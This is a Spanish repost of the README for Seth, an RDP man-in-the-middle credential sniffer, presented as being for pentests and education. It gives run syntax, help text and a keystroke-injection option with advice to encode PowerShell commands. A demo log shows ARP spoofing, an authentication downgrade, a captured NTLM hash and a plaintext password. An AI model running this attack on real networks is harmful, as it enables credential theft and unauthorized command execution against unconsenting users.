Seth es una herramienta escrita en Python y Bash para las conexiones RDP de MitM al intentar degradar la conexión para extraer credenciales de texto sin cifrar. Fue desarrollado para crear conciencia y educar acerca de la importancia de las conexiones RDP correctamente configuradas en el contexto de pentests, talleres o charlas. El autor es Adrian Vollmer (SySS GmbH).

Uso
Ejecutarlo de esta manera:

$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]

A menos que el host RDP esté en la misma subred que la máquina víctima, la última dirección IP debe ser la de la puerta de enlace.
El último parámetro es opcional. Puede contener un comando que se ejecuta en el host RDP simulando WIN + R a través de la inyección de eventos de pulsación de tecla. La inyección de pulsaciones depende de la distribución del teclado que esté utilizando la víctima; actualmente, solo es confiable con la distribución en inglés de los EE. UU. Sugiero evitar los caracteres especiales utilizando powershell -enc <STRING>, donde STRING es su comando codificado en UTF-16le y Base64. Sin embargo, calcdebe ser bastante universal y hacer el trabajo.

El script de shell realiza una falsificación ARP para obtener un Hombre en el medio posiciona y redirige el tráfico de tal manera que se ejecuta a través de un proxy RDP. El proxy se puede llamar por separado. Esto puede ser útil si desea usar Seth en combinación con el Servicio de respuesta. Usa el respondedor para obtener una posición de hombre en el medio y ejecuta Seth al mismo tiempo. Ejecutar seth.py -hpara obtener más información:

usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
               [-j INJECT] -c CERTFILE -k KEYFILE
               target_host [target_port]

RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017

positional arguments:
  target_host           target host of the RDP service
  target_port           TCP port of the target RDP service (default 3389)

optional arguments:
  -h, --help            show this help message and exit
  -d, --debug           show debug information
  -f, --fake-server     perform a 'fake server' attack
  -p LISTEN_PORT, --listen-port LISTEN_PORT
                        TCP port to listen on (default 3389)
  -b BIND_IP, --bind-ip BIND_IP
                        IP address to bind the fake service to (default all)
  -g {0,1,3,11}, --downgrade {0,1,3,11}
                        downgrade the authentication protocol to this (default
                           3)
  -j INJECT, --inject INJECT
                        command to execute via key press event injection
  -c CERTFILE, --certfile CERTFILE
                        path to the certificate file
  -k KEYFILE, --keyfile KEYFILE
                        path to the key file

Para más información, lea el PDF en doc/paper(o lea el código). El documento también contiene recomendaciones para las medidas de contador.
También puede ver una presentación de veinte minutos que incluye una demostración (a partir de las 14:00) en Youtube: https://www.youtube.com/watch?v=wdPkY7gykf4
O vea solo la demostración (con subtítulos) aquí: https: / /www.youtube.com/watch?v=JvvxTNrKV-s

Demo
La siguiente salida muestra la vista del atacante. Seth rastrea un hash crackeable sin conexión, así como la contraseña de texto simple. Aquí, NLA no se aplica y la víctima ignoró la advertencia del certificado.

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   seth@vollmer.syss.de
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgradin   g authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection rece   ived from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press:   LShift
Key press:   S
Key release:                 S
Key release:                 LShift
Key press:   E
Key release:                 E
Key press:   C
Key release:                 C
Key press:   R
Key release:                 R
Key press:   E
Key release:                 E
Key press:   T
Key release:                 T
Connection lost
[*] Cleaning up...
[*] Done.

Requerimientos

  •  python3
  •  tcpdump
  • arpspoof
    arpspoof es parte de dsniff
  •  openssl

Descargo de responsabilidad
Utilizar bajo su propio riesgo. No usar sin el consentimiento de todos los involucrados. Sólo para fines educativos.

Fuente: kitploit.com

 

Compartir